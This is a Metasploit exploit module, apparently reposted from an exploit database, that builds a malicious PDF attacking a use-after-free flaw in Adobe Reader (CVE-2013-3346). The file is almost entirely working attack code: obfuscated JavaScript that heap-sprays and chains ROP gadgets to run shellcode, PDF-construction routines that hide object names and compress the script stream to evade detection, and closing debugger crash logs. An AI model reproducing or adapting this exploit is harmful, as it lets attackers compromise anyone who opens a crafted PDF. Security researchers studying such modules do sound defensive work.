## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::RopDb def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe Reader ToolButton Use After Free', 'Description' => %q{ This module exploits an use after free condition on Adobe Reader versions 11.0.2, 10.1.6 and 9.5.4 and prior. The vulnerability exists while handling the ToolButton object, where the cEnable callback can be used to early free the object memory. Later use of the object allows triggering the use after free condition. This module has been tested successfully on Adobe Reader 11.0.2, 10.0.4 and 9.5.0 on Windows XP SP3, as exploited in the wild in November, 2013. }, 'License' => MSF_LICENSE, 'Author' => [ 'Soroush Dalili', # Vulnerability discovery 'Unknown', # Exploit in the wild 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-3346' ], [ 'OSVDB', '96745' ], [ 'ZDI', '13-212' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb13-15.html' ], [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild .html' ] ], 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP / Adobe Reader 9/10/11', { }], ], 'Privileged' => false, 'DisclosureDate' => 'Aug 08 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), ], self.class) end def exploit js_data = make_js # Create the pdf pdf = make_pdf(js_data) print_status("Creating '#{datastore['FILENAME']}' file...") file_create(pdf) end def make_js # CreateFileMappingA + MapViewOfFile + memcpy rop chain rop_9 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '9' })) rop_10 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '10' })) rop_11 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '11' })) escaped_payload = Rex::Text.to_unescape(payload.encoded) js = %Q| function heapSpray(str, str_addr, r_addr) { var aaa = unescape("%u0c0c"); aaa += aaa; while ((aaa.length + 24 + 4) < (0x8000 + 0x8000)) aaa += aaa; var i1 = r_addr - 0x24; var bbb = aaa.substring(0, i1 / 2); var sa = str_addr; while (sa.length < (0x0c0c - r_addr)) sa += sa; bbb += sa; bbb += aaa; var i11 = 0x0c0c - 0x24; bbb = bbb.substring(0, i11 / 2); bbb += str; bbb += aaa; var i2 = 0x4000 + 0xc000; var ccc = bbb.substring(0, i2 / 2); while (ccc.length < (0x40000 + 0x40000)) ccc += ccc; var i3 = (0x1020 - 0x08) / 2; var ddd = ccc.substring(0, 0x80000 - i3); var eee = new Array(); for (i = 0; i < 0x1e0 + 0x10; i++) eee[i] = ddd + "s"; return; } var shellcode = unescape("#{escaped_payload}"); var executable = ""; var rop9 = unescape("#{rop_9}"); var rop10 = unescape("#{rop_10}"); var rop11 = unescape("#{rop_11}"); var r11 = false; var vulnerable = true; var obj_size; var rop; var ret_addr; var rop_addr; var r_addr; if (app.viewerVersion >= 9 && app.viewerVersion < 10 && app.viewerVersion <= 9.504) { obj_size = 0x330 + 0x1c; rop = rop9; ret_addr = unescape("%ua83e%u4a82"); rop_addr = unescape("%u08e8%u0c0c"); r_addr = 0x08e8; } else if (app.viewerVersion >= 10 && app.viewerVersion < 11 && app.viewerVersion <= 10.106) { obj_size = 0x360 + 0x1c; rop = rop10; rop_addr = unescape("%u08e4%u0c0c"); r_addr = 0x08e4; ret_addr = unescape("%ua8df%u4a82"); } else if (app.viewerVersion >= 11 && app.viewerVersion <= 11.002) { r11 = true; obj_size = 0x370; rop = rop11; rop_addr = unescape("%u08a8%u0c0c"); r_addr = 0x08a8; ret_addr = unescape("%u8003%u4a84"); } else { vulnerable = false; } if (vulnerable) { var payload = rop + shellcode; heapSpray(payload, ret_addr, r_addr); var part1 = ""; if (!r11) { for (i = 0; i < 0x1c / 2; i++) part1 += unescape("%u4141"); } part1 += rop_addr; var part2 = ""; var part2_len = obj_size - part1.length * 2; for (i = 0; i < part2_len / 2 - 1; i++) part2 += unescape("%u4141"); var arr = new Array(); removeButtonFunc = function () { app.removeToolButton({ cName: "evil" }); for (i = 0; i < 10; i++) arr[i] = part1.concat(part2); } addButtonFunc = function () { app.addToolButton({ cName: "xxx", cExec: "1", cEnable: "removeButtonFunc();" }); } app.addToolButton({ cName: "evil", cExec: "1", cEnable: "addButtonFunc();" }); } | js end def RandomNonASCIIString(count) result = "" count.times do result << (rand(128) + 128).chr end result end def ioDef(id) "%d 0 obj \n" % id end def ioRef(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ def nObfu(str) #return str result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end def ASCIIHexWhitespaceEncode(str) result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end def make_pdf(js) xref = [] eol = "\n" endobj = "endobj" << eol # Randomize PDF version? pdf = "%PDF-1.5" << eol pdf << "%" << RandomNonASCIIString(4) << eol # catalog xref << pdf.length pdf << ioDef(1) << nObfu("<<") << eol pdf << nObfu("/Pages ") << ioRef(2) << eol pdf << nObfu("/Type /Catalog") << eol pdf << nObfu("/OpenAction ") << ioRef(4) << eol # The AcroForm is required to get icucnv36.dll / icucnv40.dll to load pdf << nObfu("/AcroForm ") << ioRef(6) << eol pdf << nObfu(">>") << eol pdf << endobj # pages array xref << pdf.length pdf << ioDef(2) << nObfu("<<") << eol pdf << nObfu("/Kids [") << ioRef(3) << "]" << eol pdf << nObfu("/Count 1") << eol pdf << nObfu("/Type /Pages") << eol pdf << nObfu(">>") << eol pdf << endobj # page 1 xref << pdf.length pdf << ioDef(3) << nObfu("<<") << eol pdf << nObfu("/Parent ") << ioRef(2) << eol pdf << nObfu("/Type /Page") << eol pdf << nObfu(">>") << eol # end obj dict pdf << endobj # js action xref << pdf.length pdf << ioDef(4) << nObfu("<<") pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(5) pdf << nObfu(">>") << eol pdf << endobj # js stream xref << pdf.length compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) pdf << ioDef(5) << nObfu("<>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj ### # The following form related data is required to get icucnv36.dll / icucnv40.dll to load ### # form object xref << pdf.length pdf << ioDef(6) pdf << nObfu("<>") << eol pdf << endobj # form stream xfa = <<-EOF 1 EOF xref << pdf.length pdf << ioDef(7) << nObfu("<>" % xfa.length) << eol pdf << "stream" << eol pdf << xfa << eol pdf << "endstream" << eol pdf << endobj ### # end form stuff for icucnv36.dll / icucnv40.dll ### # trailing stuff xrefPosition = pdf.length pdf << "xref" << eol pdf << "0 %d" % (xref.length + 1) << eol pdf << "0000000000 65535 f" << eol xref.each do |index| pdf << "%010d 00000 n" % index << eol end pdf << "trailer" << eol pdf << nObfu("<>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol pdf end end =begin * crash Adobe Reader 10.1.4 First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0c0c08e4 ebx=00000000 ecx=02eb6774 edx=66dd0024 esi=02eb6774 edi=00000001 eip=604d3a4d esp=0012e4fc ebp=0012e51c iopl=0 nv up ei pl nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213 AcroRd32_60000000!PDFLTerm+0xbb7cd: 604d3a4d ff9028030000 call dword ptr [eax+328h] ds:0023:0c0c0c0c=???????? * crash Adobe Reader 11.0.2 (940.d70): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.dll - eax=0c0c08a8 ebx=00000001 ecx=02d68090 edx=5b21005b esi=02d68090 edi=00000000 eip=60197b9b esp=0012e3fc ebp=0012e41c iopl=0 nv up ei pl nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210213 AcroRd32_60000000!DllCanUnloadNow+0x1493ae: 60197b9b ff9064030000 call dword ptr [eax+364h] ds:0023:0c0c0c0c=???????? =end # Iranian Exploit DataBase = http://IeDb.Ir [2013-12-19]